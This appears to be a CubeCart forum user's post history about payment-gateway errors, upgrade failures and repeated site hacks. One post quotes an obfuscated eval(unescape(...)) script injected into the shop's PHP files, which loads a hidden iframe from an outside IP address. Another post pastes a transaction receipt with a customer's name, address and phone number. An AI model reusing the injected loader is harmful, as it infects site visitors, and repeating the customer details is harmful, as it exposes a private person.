![](https://forums.cubecart.com/uploads/set_resources_7/84c1e40ea0e759e3f1505eb1788ddf3c_pattern.png)
![](https://forums.cubecart.com/uploads/set_resources_7/84c1e40ea0e759e3f1505eb1788ddf3c_default_photo.png)
djf
-
Posts
40 -
Joined
-
Last visited
Posts posted by djf
-
-
Extremely significant. Please remove the semi-colons. Make the line look exactly as I have posted in post #17.
Have copied and pasted from above. Checked all the settings in CC and Authorize and still have the same problem. After selecting payment cy credit card I don't get the opportunity to fill in the ccard details, straight to the error message.
-
I will take that to mean that Authorize.net tried to send a message to the address contained in this line:
'x_receipt_link_url' => $GLOBALS['storeURL'].'/index.php?_g=remote&type=gateway&cmd=process&module=Authorize'
but the server did not respond with a 200 OK message within the allotted time. Or returned with something other than 200 OK.
Would you please confirm that the experiment which edited that statement now looks like this:
'x_receipt_link_url' => $GLOBALS['storeURL'].'/index.php?_g=remote&type=gateway&cmd=process&module=Authorize'
'x_receipt_link_url' => $GLOBALS['storeURL'].'/index.php?_g=remote&type=gateway&cmd=process&module=Authorize'
Direct copy from the file however I notice there is a semicolon after remote& and gateway& but not in yours is this significant?
-
The IP/SSL makes no difference.
When I was using Authorize.net, I was able to talk to a real-live support person who could watch the traffic to my merchant account. I hope that support at Authorize.net could tell you in better detail why Authorize.net is giving CubeCart these error messages.
The error message implied there would be an email sent to you. Did the email have any better info?
Received an email in response to a live transaction as follows:
Your script timed out while we were trying to post transaction results to it.
Transaction ID: 5944875745
Transaction Result: This transaction has been approved.
No email from the test transactions. Will try Authorize support tomorrow, probably too late now.
-
Would you look in CubeCart's admin Error Logs. If CubeCart rejected the receipt_link_url, it will be shown here.
Error logs are empty. One diference between the CC3 cart that works and this newly installed CC5 cart is that CC3 is running on a shared IP and SSl, the new one is a dedicated IP and purchased SSL. Don't know if that has any relevance.
-
I assume you have found the "Password Mode" in your Authorize.net merchant account control panel, and that it is set to 'disabled'.
If you set it to 'enabled', that will be a problem as the CubeCart module neither has a form field for you to enter it, nor will the module send it.
Also, just to confirm, the CubeCart module is asking for the Merchant ID, which is not your Authorize.net account username or password. Also, the Transaction Key is not any of your merchant account login credentials.
There will be a place in the merchant account control panel where these two items are created for you.
Password mode within Cubecart won't allow changes. I understand the Merchant ID is not my username and have also generated a new transaction key within Authorize. Both these settings worked fine in CC 3.
I got the test transaction email from the test account I PM'd you. It has to be a setting. Please also check the username and transaction key has no whitespace at the start or end. It could be something silly like that. CubeCart should trim it really.
**Please DO NOT REPLY to this message. E-mail [email protected] if you have any questions. ========= SECURITY STATEMENT ========== It is not recommended that you ship product(s) or otherwise grant services relying solely upon this e-mail receipt. ========= GENERAL INFORMATION ========= Merchant : Al Brookbanks (306237) Date/Time : 19-Feb-2014 10:31:36 PST ========= ORDER INFORMATION ========= Invoice : 140219-183048-9329 Description : Payment for order #140219-183048-9329 Amount : 8.71 (USD) Payment Method : MasterCard Type : Authorization and Capture ============== RESULTS ============== Response : This transaction has been approved. Authorization Code : Y0RBAG Transaction ID : 2206978128 Address Verification : Street Address: Match -- First 5 Digits of Zip: Match ==== CUSTOMER BILLING INFORMATION === Customer ID : First Name : David Last Name : Fitch Company : Address : 20920 Tulsa St. City : Chatsworth State/Province : California Zip/Postal Code : 91311 Country : US Phone : 6613120283 Fax : E-Mail : [email protected] ==== CUSTOMER SHIPPING INFORMATION === First Name : David Last Name : Fitch Company : Address : 20920 Tulsa St. City : Chatsworth State/Province : California Zip/Postal Code : 91311 Country : US ======= ADDITIONAL INFORMATION ====== Tax : Duty : Freight : Tax Exempt : PO Number :
Double checked there are no spaces, Merchant ID is correct and transaction key copied and pasted direct from Authorize.
Have just copied and pasted Merchant ID and transaction key from my CC3 site which works fine, I haven't upgraded that one yet and the new CC5.2.8 site still returns an error
-
I assume you have found the "Password Mode" in your Authorize.net merchant account control panel, and that it is set to 'disabled'.
If you set it to 'enabled', that will be a problem as the CubeCart module neither has a form field for you to enter it, nor will the module send it.
Also, just to confirm, the CubeCart module is asking for the Merchant ID, which is not your Authorize.net account username or password. Also, the Transaction Key is not any of your merchant account login credentials.
There will be a place in the merchant account control panel where these two items are created for you.
Password mode within Cubecart won't allow changes. I understand the Merchant ID is not my username and have also generated a new transaction key within Authorize. Both these settings worked fine in CC 3.
I got the test transaction email from the test account I PM'd you. It has to be a setting. Please also check the username and transaction key has no whitespace at the start or end. It could be something silly like that. CubeCart should trim it really.
**Please DO NOT REPLY to this message. E-mail [email protected] if you have any questions. ========= SECURITY STATEMENT ========== It is not recommended that you ship product(s) or otherwise grant services relying solely upon this e-mail receipt. ========= GENERAL INFORMATION ========= Merchant : Al Brookbanks (306237) Date/Time : 19-Feb-2014 10:31:36 PST ========= ORDER INFORMATION ========= Invoice : 140219-183048-9329 Description : Payment for order #140219-183048-9329 Amount : 8.71 (USD) Payment Method : MasterCard Type : Authorization and Capture ============== RESULTS ============== Response : This transaction has been approved. Authorization Code : Y0RBAG Transaction ID : 2206978128 Address Verification : Street Address: Match -- First 5 Digits of Zip: Match ==== CUSTOMER BILLING INFORMATION === Customer ID : First Name : David Last Name : Fitch Company : Address : 20920 Tulsa St. City : Chatsworth State/Province : California Zip/Postal Code : 91311 Country : US Phone : 6613120283 Fax : E-Mail : [email protected] ==== CUSTOMER SHIPPING INFORMATION === First Name : David Last Name : Fitch Company : Address : 20920 Tulsa St. City : Chatsworth State/Province : California Zip/Postal Code : 91311 Country : US ======= ADDITIONAL INFORMATION ====== Tax : Duty : Freight : Tax Exempt : PO Number :
Double checked there are no spaces, Merchant ID is correct and transaction key copied and pasted direct from Authorize.
-
Tried taking out the amp, there were three should I have done all of them? It didn't make any difference, same test mode error. Should I put back the original file?
-
Using SIM
-
I've checked and double checked the merchant ID and transaction codes and they are fine. There is a section at the bottom of the ad,in page that says :
Authorize.net SettingsThe following read only settings needs to be set within the 3rd parties control panel interface.
Password required mode is set to Disabled, could that be the problem but if I set it to enable where do I enter the password?
Forgot to say that I'm not worried about test mode it's the 2nd. section of my original post that's more of a concern.
-
Test mode returns an error "invalid id, user password or account is inactive" neither of which is correct.
Live mode processes the payment and order but returns the following error:
"An error occurred while trying to report this transaction to the merchant. An e-mail has been sent to the merchant informing them of the error. The following is the result of the attempt to charge your credit card.
This transaction has been approved.
It is advisable for you to contact the merchant to verify that you will receive the product or service."Any help would be appreciated but I am a complete dummy when it comes to php so a simple (if possible) answer would be really appreciated.
Thanks in advance.
-
I seem to be dragging up an old problem. I have installed the mod in CC3.20 and while evrything works fine if I have whole numbers in the product weight field as soon as I put in anything less than 1.00lbs. which I need to do for items weighing ounces, then it doesn't work. Comes back with failed to add package. With debug on then I get a huge error report.
Anybody got the USPS module working in 3.20? Any ideas what's wrong?
David
-
Update: The confirmation email to customer can very easily be re-enabled in version 4.3.4 by uncommenting that code at the bottom of the /classes/cart/order.php file."
Hope this help someone correcting this 'programming initiative'...
Could you give an example of what to comment out please. I've looked at that file and don't understand a thing about it. It's ridiculous that the customer doesn't get an email confirming the order. I've just tested 4.3.4. with a pay by check order and as admin i received notification but as a customer nothing.
Thanks
David
-
Also try this bug fix for the first error http://bugs.cubecart.com/view.php?id=1596
Thanks, I'll try the bug fix but overnight I had another problem arise.
A customer placed an order through my separate Google listings and this has migrated into my shop somehow. I'm setting up v4 in a separate directory rather than using my live shop, fortunately as it happens. I exported all my data from the shop and then imported it into the v4 shop with no problems except the one mentioned above. The Google customer was definitely not in the export data but is now in the customer and order details in the v4 shop. I had Google checkout selected as alternative payment method.
Coupled with this I have received 10 new order notifications and 10 payment received emails for this order. She's ordered 1 item at $35.99 but 1 of the order details emails has the same item listed 3 times with a total invoice of $35.99
David
P.S. Just did the bug fix and that solved the pagination problem. Thanks Ausy.
-
Also try this bug fix for the first error http://bugs.cubecart.com/view.php?id=1596
Thanks, I'll try the bug fix but overnight I had another problem arise.
A customer placed an order through my separate Google listings and this has migrated into my shop somehow. I'm setting up v4 in a separate directory rather than using my live shop, fortunately as it happens. I exported all my data from the shop and then imported it into the v4 shop with no problems except the one mentioned above. The Google customer was definitely not in the export data but is now in the customer and order details in the v4 shop. I had Google checkout selected as alternative payment method.
Coupled with this I have received 10 new order notifications and 10 payment received emails for this order. She's ordered 1 item at $35.99 but 1 of the order details emails has the same item listed 3 times with a total invoice of $35.99
David
-
Just spent a long time reading, understanding and following the upgrade process from 3.0.16 to 4.3.4 and after making many stupid mistakes I finally got it all working.
Went into my customer listings to check what my test purchase settings were and page 1 lists the customers O.K. but when i click on page 2 this appears:
Warning: main(admin/sources/customers/index?_g=customers/index.inc.php) [function.main]: failed to open stream: No such file or directory in /home/socalpet/public_html/shop2/admin_enc_zend.php on line 620
Fatal error: main() [function.require]: Failed opening required 'admin/sources/customers/index?_g=customers/index.inc.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/socalpet/public_html/shop2/admin_enc_zend.php on line 620
I can only access page 1 out of several hundred customers.
Any ideas please?
David
-
Thanks for your reply and help.
I'm sure there are thousands of stores running successfully and as I stated CC3 has worked great for me.
What concerns me is that there appear to be a huge amount of problems reported in these forums with CC4.
It's a bit like Microsoft Windows, you buy it and then spend ages searching for problem resolutions or downloading upgrades to make it work.
For those of us who don't have any programming experience at all it becomes very disparaging when things like this happen.
David
-
Just downloaded and ftp'd 4.3.4. Ran compatabilty, all O.K.
Started insallation and cc didn't recognise mysql username or password. Went into mysql and verified that it was O.K. and then ran the www.mydomain.com/shop/ expecting to restart the installation and instead got his error:
Fatal error: Unable to read 4787 bytes in /home/socalpet/public_html/shop2/index_enc_zend.php on line 0
Deleted and replaced all the files in the root directory, same problem.
I was hoping that cc had improved from the original version 4 but this doesn't give me any confidence at all. The very 1st. version I upgraded over v3 and it promptly sent out emails to 35 of my customers telling them their order was cancelled. As a result I've waited for a more stable version but I see from the forums there are still many problems which makes paying for it a joke.
Has anybody installed and run 4.3.4 without any problems? I like v3 very much and would really like to go to v4 but I don't have enough expertise to work round what seems to be a lot of problems with it.
David
-
Nothing as far as know. What about other scripts installed on the server?
Thanks, gives me confidence it's not cubecart. There's nothing on there except some htm pages and the host provided stats progs. The only other possibility i can think of is someone managed to hack my ftp password and put these weird gmav directories in that automatically chnage all the index files. I've had the provider nuke the site and re-upped everything, changed all the passwords etc. so hopefully this will be the end of it.
-
Does anybody know if there's any security loopholes with 3.18.
I've been hacked twice and a script (different one each time) put in ALL my index.php files and index and default htm/html files.
My host provider says it's probably a php script vulnerability but that's not an area I know anything about.
The one thing recognisable on the server is that there was a directory called gmav created that nobody at tech support seems to know anything about.
This directory is not present on my other sites server and I've not had any hacking problems on there (fingers crossed).
Any help would be really appreciated and, of course, valuable info for others.
Thanks
David
-
Thanks Robsta
It's that <script> then those weird numbers that worried me.
Do you think it will be O.K. to just remove the last line?
David
-
Can anyone help me please, I know virtually nothing about php.
Recently I have been under attack from an unscrupulous competitor and started to wonder if my files have been altered.
I checked and in fact 3 files have been altered recently that I would never touch as I have no clue what I would need to change in them. They are index.php in the root folder and /Admin/index.php and login.php. I downloaded them and compared them to the originals and there is an extra line at the end of them. I don't know if these files get altered in the normal course of events or not.
This is the line that is different, it's the very last one and this script line has been added:
<?php include("includes/footer.inc.php"); ?><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%37%39%64%38%33%36%62%30%30%32%35%66%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%31%31%36%2e%35%30%2e%31%35%2e%32%35%2f%73%74%61%74%73%2f%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%34%32%32%31%37%29%2b%27%32%37%5c%27%20%77%69%64%74%68%3d%31%36%33%20%68%65%69%67%68%74%3d%32%35%39%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>
Perhaps I'm being paranoid but if anyone could let me know if this is a hijacking or not I would appreciate it.
Thanks in advance.
David
-
If the server is compromised, then any files on the server can be edited. The hack can be anywhere, and from any account with access to the server... so anyone if it's a shared server. This is why it's important to keep software up to date.
Of course, this is not taking into account that McAfee might be reporting a false positive. Have you actually looked inside the PHP and TPL files?
Thanks for the reply Robsta.
I haven't looked in the files because I don't know where or when on the site the virus notification occurred and I haven't been able to duplicate it with Nortons. It was a message on my answerphone with no return number so I can't contact the person who reported it. It would mean looking in every php file in the cart.
I'm beginning to believe your comment about McAfee might be the reason.
Thanks
David
-
Can the php scripts get infected with viruses? I have had 2 customers ring me to say that their McAfee prog has warned that my site has a trojan virus. I can't get the warning using Nortons when checking out the site.
I've downloaded all the htm files and scanned them on my PC but no results.
David
-
You're right Ausy if you understand what they're saying. My comments are that as a complete novice it would be easier if there were a doc explaining everything rather than trying it and then searching for a solution when it doesn't work.
Problems with Authorize.net in 5.2.8
in Technical Help
Posted
Have just tried AIM mode instead of SIM, password disabled, direct response deliminater set to l(Pipe) and this time I get the enter credit crad details but same error message after submitting card details.